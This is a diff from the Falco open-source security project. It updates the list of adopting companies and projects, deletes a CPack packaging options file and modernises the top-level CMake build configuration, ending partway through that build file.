+
+* [Replicated](https://www.replicated.com/) - Replicated is the modern way to ship on-prem software. Replicated gives software vendors a container-based platform for easily deploying cloud native applications inside customers'​ environments to provide greater security and control. Replicated uses Falco as runtime security to detect threats in the Kubernetes clusters which host our critical SaaS services.
+
+* [Secureworks](https://www.secureworks.com/) - Secureworks is a leading worldwide cybersecurity company with a cloud-native security product that combines the power of human intellect with security analytics to unify detection and response across cloud, network, and endpoint environments for improved security operations and outcomes. Our Taegis XDR platform and detection system processes petabytes of security relevant data to expose active threats amongst the billions of daily events from our customers. We are proud to protect our platform’s Kubernetes deployments, as well as help our customers protect their own Linux and container environments, using Falco.
+
+* [Shopify](https://www.shopify.com) - Shopify is the leading multi-channel commerce platform. Merchants use Shopify to design, set up, and manage their stores across multiple sales channels, including mobile, web, social media, marketplaces, brick-and-mortar locations, and pop-up shops. The platform also provides merchants with a powerful back-office and a single view of their business, from payments to shipping. The Shopify platform was engineered for reliability and scale, making enterprise-level technology available to businesses of all sizes. Shopify uses Falco to complement its Host and Network Intrusion Detection Systems.
+
+* [SafeDep](https://safedep.io/) - SafeDep is a open source software supply chain security platform that helps organizations identify and mitigate risks in their dependencies. At its core, SafeDep offers [`vet`](https://github.com/safedep/vet) a free and open source tool for detecting vulnerabilities, malicious code, and quality issues in open source components, while the enterprise offering, SafeDep Cloud, provides centralized control, data aggregation, and advanced features like malware analysis for large-scale deployments across thousands of repositories. 
+ 
+* [Sight Machine](https://www.sightmachine.com) - Sight Machine is the category leader for manufacturing analytics and used by Global 500 companies to make better, faster decisions about their operations. Sight Machine uses Falco to help enforce SOC2 compliance as well as a tool for real time security monitoring and alerting in Kubernetes.
+
+* [Skyscanner](https://www.skyscanner.net) - Skyscanner is the world's travel search engine for flights, hotels and car rentals. Most of our infrastructure is based on Kubernetes, and our Security team is using Falco to monitor anomalies at runtime, integrating Falco's findings with our internal ChatOps tooling to provide insight on the behavior of our machines in production. We also postprocess and store Falco's results to generate dashboards for auditing purposes.
+
+* [Sumo Logic](https://www.sumologic.com/) - Sumo Logic provides a SaaS based log aggregation service that provides dashboards and applications to easily identify and analyze problems in your application and infrastructure. Sumo Logic provides native integrations for many CNCF projects, such as Falco, that allows end users to easily collect Falco events and analyze Falco events on DecSecOps focused dashboards.
+
+* [Swissblock Technologies](https://swissblock.net/) At Swissblock we connect the dots by combining cutting-edge algorithmic trading strategies with in-depth market analysis. We route all Falco events to our control systems, both monitoring and logging. Being able to deeply analyse alerts, we can understand what is running on our Kubernetes clusters and check against security policies, specifically defined for each workload. A set of alarms notifies us in case of critical events, letting us react fast. In the near future we plan to build a little application to route Kubernetes internal events directly to Falco, fully leveraging Falco PodSecurityPolicies analyses.
+
+* [Shapesecurity/F5](https://www.shapesecurity.com/) Shapesecurity defends against application fraud attacks like Account Take Over, Credential Stuffing, Fake Accounts, etc. Required by FedRamp certification, we needed to find a FIM solution to help monitor and protect our Kubernetes clusters. Traditional FIM solutions were not scalable and not working for our environment, but with Falco we found the solution we needed. Falco's detection capabilities have helped us identify anomalous behaviour within our clusters. We leverage Sidekick (https://github.com/falcosecurity/charts/tree/master/falcosidekick) to send Falco alerts to a PubSub which in turn publishes those alerts to our SIEM (SumoLogic)
+
+* [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call driver. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended Falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-defined infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.
+
+* [Thales Group](https://www.thalesgroup.com) Thales is a global technology leader with more than 81,000 employees on five continents. The Thales Group is investing in digital and “deep tech” innovations – Big Data, artificial intelligence, connectivity, cybersecurity and quantum technology – to build a future we can all trust. In the past few years, the Cloud-Native paradigms and its frameworks and tools have challenged the way applications and services are developed, delivered, and instantiated. All sorts of services are container-based workloads managed by higher level layers of orchestration such as the Kubernetes environment. Thales is committed to develop Cloud-Native services and to provide its customers with security features that ensure their applications and services are protected against cyber threats. Falco is a framework that can help Thales' products and services reach the level of trust, security and safety our clients need.
+
+* [Thought Machine](https://www.thoughtmachine.net) Thought Machine builds Vault Core and Vault Payments: cloud-native core and payments technology enabling banks and fintechs to remain competitive and flourish into the future. Vault Core and Vault Payments are the foundation layer of a bank's technology stack. They can run any bank, any product, and any payment set. Thought Machine uses Falco to perform cloud agnostic real time detections of suspicious container behaviour.
+
+* [Tulip Retail](https://tulip.com) Tulip Retail uses Falco to monitor container activity in our environments. It's numerous integration points, easy deployment and easily customizable rules were the main reasons we chose Falco.
+
+* [Vinted](https://vinted.com/) Vinted uses Falco to continuously monitor container activities, identifying security threats, and ensuring compliance. The container-native approach, rule-based real-time threat detection, community support, extensibility, and compliance capabilities are the main factors why we chose it to enhance Vinted Kubernetes security. Falco Sidekick is used to send critical and warning severity alerts to our incident management solution (RTIR).
+
+* [Xenit AB](https://xenit.se/contact/) Xenit is a growth company with services within cloud and digital transformation. We provide an open-source Kubernetes framework that we leverage to help our customers get their applications to production as quickly and as securely as possible. We use Falco's detection capabilities to identify anomalous behaviour within our clusters in both Azure and AWS.
+
+* [Yahoo! JAPAN](https://www.yahoo.co.jp/) Yahoo! JAPAN is a leading company of internet in Japan. We build an AI Platform in our private cloud and provide it to scientists in our company. AI Platform is a multi-tenant Kubernetes environment and more flexible, faster, more efficient Machine Learning environment. Falco is used to detect unauthorized commands and malicious access and our AI Platform is monitored and alerted by Falco.
+
+## Projects that use Falco libs
+
+* [R6/Phoenix](https://r6security.com/) is an attack surface protection company that uses moving target defense to provide fully automated, proactive and devops friendly security to its customers. There are a set of policies you can add to enable the moving target defense capabilities. Some of them are triggered by a combination of Falco's findings. You can kill, restart and rename pods according to the ever changing policies.
+
+* [SysFlow](https://sysflow.io) SysFlow is a cloud-native system telemetry framework that focuses on data abstraction, behavioral analytics, and noise reduction. At its core, SysFlow exposes a compact open telemetry format that records workload behaviors by connecting event and flow representations of process control flows, file interactions, and network communications. The resulting abstraction encodes a graph structure that enables provenance reasoning on host and container environments, and fast retrieval of security-relevant information.
+
+* [StackRox](https://stackrox.io) is the industry’s first Kubernetes-native security platform enabling organizations to build, deploy, and run cloud-native applications securely. The platform works with Kubernetes environments and integrates with DevOps and security tools, enabling teams to operationalize and secure their supply chain, infrastructure, and workloads. StackRox aims to harness containerized applications’ development speed while giving operations and security teams greater context and risk profiling. StackRox leverages cloud-native principles and declarative artifacts to automate DevSecOps best practices.
+
+* [Wireshark](https://www.wireshark.org) is the world's most powerful and popular network protocol analyzer. The Wireshark team is combining Wireshark's features and Falco libs to create Logray, a cloud and system log analyzer with advanced filtering, capture, and scripting capabilities.
+
+## Adding a name
+
+If you would like to add your name to this file, submit a pull request with your change.

CMakeCPackOptions.cmake

@@ -1,14 +0,0 @@
-if(CPACK_GENERATOR MATCHES "DEB")
-	list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d/")
-	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/debian/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d")
-endif()
-
-if(CPACK_GENERATOR MATCHES "RPM")
-	list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/rc.d/init.d/")
-	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/rpm/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/rc.d/init.d")
-endif()
-
-if(CPACK_GENERATOR MATCHES "TGZ")
-	set(CPACK_SET_DESTDIR "ON")
-	set(CPACK_STRIP_FILES "OFF")
-endif()

CMakeLists.txt

@@ -1,445 +1,326 @@
-cmake_minimum_required(VERSION 2.8.2)
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+# in compliance with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License
+# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+# or implied. See the License for the specific language governing permissions and limitations under
+# the License.
+#
+cmake_minimum_required(VERSION 3.5.1)
 
 project(falco)
 
-if(NOT DEFINED FALCO_VERSION)
-	set(FALCO_VERSION "0.1.1dev")
+option(USE_BUNDLED_DEPS "Bundle hard to find dependencies into the Falco binary" ON)
+option(USE_DYNAMIC_LIBELF "Dynamically link libelf" OFF)
+option(BUILD_WARNINGS_AS_ERRORS "Enable building with -Wextra -Werror flags" OFF)
+option(
+	MINIMAL_BUILD
+	"Build a minimal version of Falco, containing only the engine and basic input/output (EXPERIMENTAL)"
+	OFF
+)
+option(MUSL_OPTIMIZED_BUILD "Enable if you want a musl optimized build" OFF)
+option(BUILD_FALCO_UNIT_TESTS "Build falco unit tests" OFF)
+option(USE_ASAN "Build with AddressSanitizer" OFF)
+option(USE_UBSAN "Build with UndefinedBehaviorSanitizer" OFF)
+option(UBSAN_HALT_ON_ERROR "Halt on error when building with UBSan" ON)
+option(USE_GPERFTOOLS "Build with gperftools CPU profiler support" OFF)
+option(USE_FRAME_POINTER "Build with frame pointers for accurate profiling" OFF)
+
+# Enable frame pointers by default when using gperftools for accurate stack traces
+if(USE_GPERFTOOLS AND NOT USE_FRAME_POINTER)
+	set(USE_FRAME_POINTER
+		ON
+		CACHE BOOL "Build with frame pointers for accurate profiling" FORCE
+	)
+	message(STATUS "Enabling USE_FRAME_POINTER since USE_GPERFTOOLS is enabled")
 endif()
 
+# Mem allocators - linux only for now
+if(NOT WIN32
+   AND NOT APPLE
+   AND NOT MINIMAL_BUILD
+   AND NOT EMSCRIPTEN
+)
+	# If one enables multiple allocators, cmake will fail since all of the allocators cmake modules
+	# create a `malloc` target.
+	option(USE_JEMALLOC "Use jemalloc allocator, linux only" OFF)
+	option(USE_MIMALLOC "Use mimalloc (microsoft) allocator, linux only" OFF)
+endif()
+
+if(WIN32)
+	if(POLICY CMP0091)
+		# Needed for CMAKE_MSVC_RUNTIME_LIBRARY
+		# https://cmake.org/cmake/help/latest/policy/CMP0091.html
+		cmake_policy(SET CMP0091 NEW)
+	endif()
+	set(CPACK_GENERATOR "NSIS") # this needs NSIS installed, and available
+elseif(APPLE)
+	set(CPACK_GENERATOR "DragNDrop")
+elseif(EMSCRIPTEN)
+	set(USE_BUNDLED_DEPS
+		ON
+		CACHE BOOL "" FORCE
+	)
+	set(BUILD_DRIVER
+		OFF
+		CACHE BOOL "" FORCE
+	)
+	set(ENABLE_DKMS
+		OFF
+		CACHE BOOL "" FORCE
+	)
+	set(CPACK_GENERATOR
+		TGZ
+		CACHE BOOL "" FORCE
+	)
+endif()
+
+# Modern BPF is not supported on not Linux systems and in MINIMAL_BUILD
+if(CMAKE_SYSTEM_NAME MATCHES "Linux" AND NOT MINIMAL_BUILD)
+	option(BUILD_FALCO_MODERN_BPF "Build modern BPF support for Falco" ON)
+	if(BUILD_FALCO_MODERN_BPF)
+		add_definitions(-DHAS_MODERN_BPF)
+	endif()
+endif()
+
+# We shouldn't need to set this, see https://gitlab.kitware.com/cmake/cmake/-/issues/16419
+option(EP_UPDATE_DISCONNECTED "ExternalProject update disconnected" OFF)
+if(${EP_UPDATE_DISCONNECTED})
+	set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY EP_UPDATE_DISCONNECTED TRUE)
+endif()
+
+# Elapsed time set_property(GLOBAL PROPERTY RULE_LAUNCH_COMPILE "${CMAKE_COMMAND} -E time") #
+# TODO(fntlnz, leodido): add a flag to enable this
+
+# Make flag for parallel processing
+include(ProcessorCount)
+ProcessorCount(PROCESSOR_COUNT)
+if(NOT PROCESSOR_COUNT EQUAL 0)
+	set(PROCESSOUR_COUNT_MAKE_FLAG -j${PROCESSOR_COUNT})
+endif()
+
+# Custom CMake modules
+list(APPEND CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules")
+
+# GNU standard installation directories' definitions
+include(GNUInstallDirs)
+
 if(NOT DEFINED FALCO_ETC_DIR)
-	set(FALCO_ETC_DIR "/etc/falco")
+	set(FALCO_ETC_DIR "${CMAKE_INSTALL_FULL_SYSCONFDIR}/falco")
 endif()
 
-if(NOT CMAKE_BUILD_TYPE)
-	SET(CMAKE_BUILD_TYPE Release)
-endif()
-
-if(NOT DRAIOS_DEBUG_FLAGS)
-	set(DRAIOS_DEBUG_FLAGS "-D_DEBUG")
-endif()
-
-set(CMAKE_C_FLAGS "-Wall -ggdb ${DRAIOS_FEATURE_FLAGS}")
-set(CMAKE_CXX_FLAGS "-Wall -ggdb --std=c++0x ${DRAIOS_FEATURE_FLAGS}")
-
-set(CMAKE_C_FLAGS_DEBUG "${DRAIOS_DEBUG_FLAGS}")
-set(CMAKE_CXX_FLAGS_DEBUG "${DRAIOS_DEBUG_FLAGS}")
-
-set(CMAKE_C_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
-set(CMAKE_CXX_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
-
-add_definitions(-DPLATFORM_NAME="${CMAKE_SYSTEM_NAME}")
-add_definitions(-DK8S_DISABLE_THREAD)
-if(CMAKE_SYSTEM_NAME MATCHES "Linux")
-	add_definitions(-DHAS_CAPTURE)
-endif()
-
-if(CMAKE_BUILD_TYPE STREQUAL "Debug")
-	set(KBUILD_FLAGS "${DRAIOS_DEBUG_FLAGS} ${DRAIOS_FEATURE_FLAGS}")
+# This will be used to print the architecture for which Falco is compiled.
+if(EMSCRIPTEN)
+	set(FALCO_TARGET_ARCH "wasm")
 else()
-	set(KBUILD_FLAGS "${DRAIOS_FEATURE_FLAGS}")
+	set(FALCO_TARGET_ARCH ${CMAKE_SYSTEM_PROCESSOR})
 endif()
 
+include(CompilerFlags)
+
 set(PACKAGE_NAME "falco")
-set(PROBE_VERSION "${FALCO_VERSION}")
-set(PROBE_NAME "falco-probe")
-set(PROBE_DEVICE_NAME "falco")
-if (CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT)
-	set(CMAKE_INSTALL_PREFIX /usr CACHE PATH "Default install path" FORCE)
+set(DRIVER_NAME "falco")
+set(DRIVER_DEVICE_NAME "falco")
+set(DRIVERS_REPO "https://download.falco.org/driver")
+
+if(NOT DEFINED FALCO_COMPONENT_NAME)
+	set(FALCO_COMPONENT_NAME "${CMAKE_PROJECT_NAME}")
+endif()
+
+if(CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT)
+	set(CMAKE_INSTALL_PREFIX
+		/usr
+		CACHE PATH "Default install path" FORCE
+	)
 endif()
 
 set(CMD_MAKE make)
 
-set(SYSDIG_DIR "${PROJECT_SOURCE_DIR}/../sysdig")
-# make luaJIT work on OS X
-if(APPLE)
-	set(CMAKE_EXE_LINKER_FLAGS "-pagezero_size 10000 -image_base 100000000")
-endif()
-
 include(ExternalProject)
 
-option(USE_BUNDLED_DEPS "Enable bundled dependencies instead of using the system ones" ON)
+include(cxxopts)
 
-#
-# zlib
-#
-option(USE_BUNDLED_ZLIB "Enable building of the bundled zlib" ${USE_BUNDLED_DEPS})
+# libs
+include(falcosecurity-libs)
 
-if(NOT USE_BUNDLED_ZLIB)
-	find_path(ZLIB_INCLUDE zlib.h PATH_SUFFIXES zlib)
-	find_library(ZLIB_LIB NAMES z)
-	if(ZLIB_INCLUDE AND ZLIB_LIB)
-		message(STATUS "Found zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}")
-	else()
-		message(FATAL_ERROR "Couldn't find system zlib")
+# compute FALCO_VERSION (depends on libs)
+include(falco-version)
+
+# Mem allocators - linux only for now
+if(NOT WIN32
+   AND NOT APPLE
+   AND NOT MINIMAL_BUILD
+   AND NOT EMSCRIPTEN
+)
+
+	if(USE_JEMALLOC)
+		include(jemalloc)
 	endif()
+	if(USE_MIMALLOC)
+		include(mimalloc)
+	endif()
+
+	message(STATUS "Will use mem allocator library: ${MALLOC_LIB}")
+endif()
+
+# nlohmann-json
+include(njson)
+
+# yaml-cpp
+include(yaml-cpp)
+
+if(NOT WIN32
+   AND NOT APPLE
+   AND NOT MINIMAL_BUILD
+   AND NOT EMSCRIPTEN
+)
+	# OpenSSL
+	include(openssl)
+
+	# libcurl
+	include(curl)
+
+	# todo(jasondellaluce,rohith-raju): support webserver for non-linux builds too cpp-httlib
+	include(cpp-httplib)
+endif()
+
+# One TBB
+if(NOT EMSCRIPTEN)
+	include(tbb)
+endif()
+
+include(zlib)
+include(valijson)
+
+# CPU Profiling with gperftools
+if(USE_GPERFTOOLS)
+	include(gperftools)
+endif()
+if(NOT MINIMAL_BUILD)
+	if(NOT WIN32
+	   AND NOT APPLE
+	   AND NOT EMSCRIPTEN
+	)
+		include(cares)
+	endif()
+endif()
+
+# Installation
+if(WIN32)
+	set(FALCO_INSTALL_CONF_FILE
+		"%PROGRAMFILES%/${PACKAGE_NAME}-${FALCO_VERSION}/etc/falco/falco.yaml"
+	)
+	install(
+		FILES falco.yaml
+		DESTINATION etc/falco/
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
+	install(
+		DIRECTORY
+		DESTINATION etc/falco/config.d
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
+elseif(APPLE)
+	set(FALCO_INSTALL_CONF_FILE "/etc/falco/falco.yaml")
+	install(
+		FILES falco.yaml
+		DESTINATION etc/falco/
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
+	install(
+		DIRECTORY
+		DESTINATION etc/falco/config.d
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
 else()
-        set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib")
-        message(STATUS "Using bundled zlib in '${ZLIB_SRC}'")
-        set(ZLIB_INCLUDE "${ZLIB_SRC}")
-        set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
-        ExternalProject_Add(zlib
-		# START CHANGE for CVE-2016-9840, CVE-2016-9841, CVE-2016-9842, CVE-2016-9843
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/zlib-1.2.11.tar.gz"
-                URL_MD5 "1c9f62f0778697a09d36121ead88e08e"
-		# END CHANGE for CVE-2016-9840, CVE-2016-9841, CVE-2016-9842, CVE-2016-9843
-		CONFIGURE_COMMAND "./configure"
-		BUILD_COMMAND ${CMD_MAKE}
-		BUILD_IN_SOURCE 1
-		INSTALL_COMMAND "")
+	set(FALCO_INSTALL_CONF_FILE "/etc/falco/falco.yaml")
+	install(
+		FILES falco.yaml
+		DESTINATION "${FALCO_ETC_DIR}"
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
+	install(
+		DIRECTORY
+		DESTINATION "${FALCO_ETC_DIR}/config.d"
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
 endif()
 
-#
-# jq
-#
-option(USE_BUNDLED_JQ "Enable building of the bundled jq" ${USE_BUNDLED_DEPS})
-if(NOT USE_BUNDLED_JQ)
-	find_path(JQ_INCLUDE jq.h PATH_SUFFIXES jq)
-	find_library(JQ_LIB NAMES jq)
-	if(JQ_INCLUDE AND JQ_LIB)
-		message(STATUS "Found jq: include: ${JQ_INCLUDE}, lib: ${JQ_LIB}")
-	else()
-		message(FATAL_ERROR "Couldn't find system jq")
-	endif()
-else()
-        set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
-        message(STATUS "Using bundled jq in '${JQ_SRC}'")
-        set(JQ_INCLUDE "${JQ_SRC}")
-        set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
-        ExternalProject_Add(jq
-                URL "http://s3.amazonaws.com/download.draios.com/dependencies/jq-1.5.tar.gz"
-                URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
-                CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
-                BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
-                BUILD_IN_SOURCE 1
-		PATCH_COMMAND wget -O jq-1.5-fix-tokenadd.patch https://github.com/stedolan/jq/commit/8eb1367ca44e772963e704a700ef72ae2e12babd.patch && patch -i jq-1.5-fix-tokenadd.patch
-                INSTALL_COMMAND "")
+if(NOT MINIMAL_BUILD)
+	# Coverage
+	include(Coverage)
 endif()
 
-set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp")
-set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
-set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
+# Rules
+include(rules)
 
-#
-# curses
-#
-# we pull this in because libsinsp won't build without it
+# Clang format add_custom_target(format COMMAND clang-format --style=file -i
+# $<TARGET_PROPERTY:falco,SOURCES> COMMENT "Formatting ..." VERBATIM)
 
-option(USE_BUNDLED_NCURSES "Enable building of the bundled ncurses" ${USE_BUNDLED_DEPS})
+# Static analysis
+include(static-analysis)
 
-if(NOT USE_BUNDLED_NCURSES)
-	set(CURSES_NEED_NCURSES TRUE)
-	find_package(Curses REQUIRED)
-	message(STATUS "Found ncurses: include: ${CURSES_INCLUDE_DIR}, lib: ${CURSES_LIBRARIES}")
-else()
-	set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses")
-	set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/")
-	set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
-	message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
-	ExternalProject_Add(ncurses
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
-		URL_MD5 "32b8913312e738d707ae68da439ca1f4"
-		CONFIGURE_COMMAND ./configure --without-cxx --without-cxx-binding --without-ada --without-manpages --without-progs --without-tests --with-terminfo-dirs=/etc/terminfo:/lib/terminfo:/usr/share/terminfo
-		BUILD_COMMAND ${CMD_MAKE}
-		BUILD_IN_SOURCE 1
-		INSTALL_COMMAND "")
-endif()
-
-#
-# libb64
-#
-option(USE_BUNDLED_B64 "Enable building of the bundled b64" ${USE_BUNDLED_DEPS})
-
-if(NOT USE_BUNDLED_B64)
-	find_path(B64_INCLUDE NAMES b64/encode.h)
-	find_library(B64_LIB NAMES b64)
-	if(B64_INCLUDE AND B64_LIB)
-		message(STATUS "Found b64: include: ${B64_INCLUDE}, lib: ${B64_LIB}")
-	else()
-		message(FATAL_ERROR "Couldn't find system b64")
-	endif()
-else()
-	set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
-	message(STATUS "Using bundled b64 in '${B64_SRC}'")
-	set(B64_INCLUDE "${B64_SRC}/include")
-	set(B64_LIB "${B64_SRC}/src/libb64.a")
-	ExternalProject_Add(b64
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/libb64-1.2.src.zip"
-		URL_MD5 "a609809408327117e2c643bed91b76c5"
-		CONFIGURE_COMMAND ""
-		BUILD_COMMAND ${CMD_MAKE}
-		BUILD_IN_SOURCE 1
-		INSTALL_COMMAND "")
-endif()
-
-#
-# yamlcpp
-#
-option(USE_BUNDLED_YAMLCPP "Enable building of the bundled yamlcpp" ${USE_BUNDLED_DEPS})
-
-if(NOT USE_BUNDLED_YAMLCPP)
-	find_path(YAMLCPP_INCLUDE_DIR NAMES yaml-cpp/yaml.h)
-	find_library(YAMLCPP_LIB NAMES yaml-cpp)
-	if(YAMLCPP_INCLUDE_DIR AND YAMLCPP_LIB)
-		message(STATUS "Found yamlcpp: include: ${YAMLCPP_INCLUDE_DIR}, lib: ${YAMLCPP_LIB}")
-	else()
-		message(FATAL_ERROR "Couldn't find system yamlcpp")
-	endif()
-else()
-	set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
-	message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
-	set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a")
-	set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include")
-	# Once the next version of yaml-cpp is released (first version not requiring
-	# boost), we can switch to that and no longer pull from github.
-	ExternalProject_Add(yamlcpp
-		GIT_REPOSITORY "https://github.com/jbeder/yaml-cpp.git"
-		GIT_TAG "7d2873ce9f2202ea21b6a8c5ecbc9fe38032c229"
-		BUILD_IN_SOURCE 1
-		INSTALL_COMMAND "")
-endif()
-
-#
-# OpenSSL
-#
-option(USE_BUNDLED_OPENSSL "Enable building of the bundled OpenSSL" ${USE_BUNDLED_DEPS})
-
-if(NOT USE_BUNDLED_OPENSSL)
-	find_package(OpenSSL REQUIRED)
-	message(STATUS "Found OpenSSL: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}")
-else()
-
-	set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
-	set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
-	set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
-	set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
-	set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
-
-	message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
-
-	ExternalProject_Add(openssl
-		# START CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2n.tar.gz"
-                URL_MD5 "13bdc1b1d1ff39b6fd42a255e74676a4"
-		# END CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
-		CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
-		BUILD_COMMAND ${CMD_MAKE}
-		BUILD_IN_SOURCE 1
-		INSTALL_COMMAND ${CMD_MAKE} install)
-endif()
-
-#
-# libcurl
-#
-option(USE_BUNDLED_CURL "Enable building of the bundled curl" ${USE_BUNDLED_DEPS})
-
-if(NOT USE_BUNDLED_CURL)
-	find_package(CURL REQUIRED)
-	message(STATUS "Found CURL: include: ${CURL_INCLUDE_DIR}, lib: ${CURL_LIBRARIES}")
-else()
-	set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
-	set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
-	set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
-
-	if(NOT USE_BUNDLED_OPENSSL)
-		set(CURL_SSL_OPTION "--with-ssl")
-	else()
-		set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
-                message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
-                message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
-	endif()
-
-	ExternalProject_Add(curl
-		DEPENDS openssl
-		# START CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/curl-7.60.0.tar.bz2"
-		URL_MD5 "bd2aabf78ded6a9aec8a54532fd6b5d7"
-		# END CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
-		CONFIGURE_COMMAND ./configure ${CURL_SSL_OPTION} --disable-shared --enable-optimize --disable-curldebug --disable-rt --enable-http --disable-ftp --disable-file --disable-ldap --disable-ldaps --disable-rtsp --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb --disable-smtp --disable-gopher --disable-sspi --disable-ntlm-wb --disable-tls-srp --without-winssl --without-darwinssl --without-polarssl --without-cyassl --without-nss --without-axtls --without-ca-path --without-ca-bundle --without-libmetalink --without-librtmp --without-winidn --without-libidn --without-nghttp2 --without-libssh2 --disable-threaded-resolver
-		BUILD_COMMAND ${CMD_MAKE}
-		BUILD_IN_SOURCE 1
-		INSTALL_COMMAND "")
-endif()
-
-#
-# LuaJIT
-#
-option(USE_BUNDLED_LUAJIT "Enable building of the bundled LuaJIT" ${USE_BUNDLED_DEPS})
-
-if(NOT USE_BUNDLED_LUAJIT)
-	find_path(LUAJIT_INCLUDE luajit.h PATH_SUFFIXES luajit-2.0 luajit)
-	find_library(LUAJIT_LIB NAMES luajit luajit-5.1)
-	if(LUAJIT_INCLUDE AND LUAJIT_LIB)
-		message(STATUS "Found LuaJIT: include: ${LUAJIT_INCLUDE}, lib: ${LUAJIT_LIB}")
-	else()
-		# alternatively try stock Lua
-		find_package(Lua51)
-		set(LUAJIT_LIB ${LUA_LIBRARY})
-		set(LUAJIT_INCLUDE ${LUA_INCLUDE_DIR})
-
-		if(NOT ${LUA51_FOUND})
-			message(FATAL_ERROR "Couldn't find system LuaJIT or Lua")
-		endif()
-	endif()
-else()
-	set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
